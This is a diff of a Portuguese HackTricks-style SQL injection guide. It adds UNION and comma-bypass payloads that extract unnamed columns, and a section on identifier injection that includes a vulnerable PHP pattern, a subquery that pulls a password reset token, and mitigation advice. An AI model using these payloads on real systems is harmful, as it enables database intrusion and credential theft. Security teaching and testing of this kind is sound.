É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria:
|
||||
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em um sqlinjection isto ficaria assim:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
@ -547,9 +724,36 @@ Ou usando um **comma bypass**:
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
Esse truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Ferramentas sugeridoras de bypass de WAF
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
Se a entrada do usuário é concatenada na lista SELECT ou em identificadores de tabela/coluna, prepared statements não ajudam porque bind parameters protegem apenas values, não identifiers. Um padrão vulnerável comum é:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Ideia de exploração: inject a subquery into the field position to exfiltrate arbitrary data:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
Notas:
|
||||
- Isso funciona mesmo quando a WHERE clause usa um bound parameter, porque a lista de identificadores ainda é concatenada como string.
|
||||
- Algumas stacks também permitem controlar o nome da tabela (tablename injection), possibilitando leituras cross-table.
|
||||
- Pontos de saída podem refletir o valor selecionado em HTML/JSON, permitindo XSS ou token exfiltration diretamente na resposta.
|
||||
|
||||
Mitigações:
|
||||
- Nunca concatene identificadores vindos da entrada do usuário. Mapeie nomes de coluna permitidos para uma allow-list fixa e faça a citação adequada dos identificadores.
|
||||
- Se acesso dinâmico a tabelas for necessário, restrinja a um conjunto finito e resolva no servidor a partir de um mapeamento seguro.
|
||||
|
||||
### WAF bypass suggester tools
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -561,12 +765,15 @@ https://github.com/m4ll0k/Atlas
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Lista de Detecção de Força Bruta
|
||||
## Lista de Detecção de Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user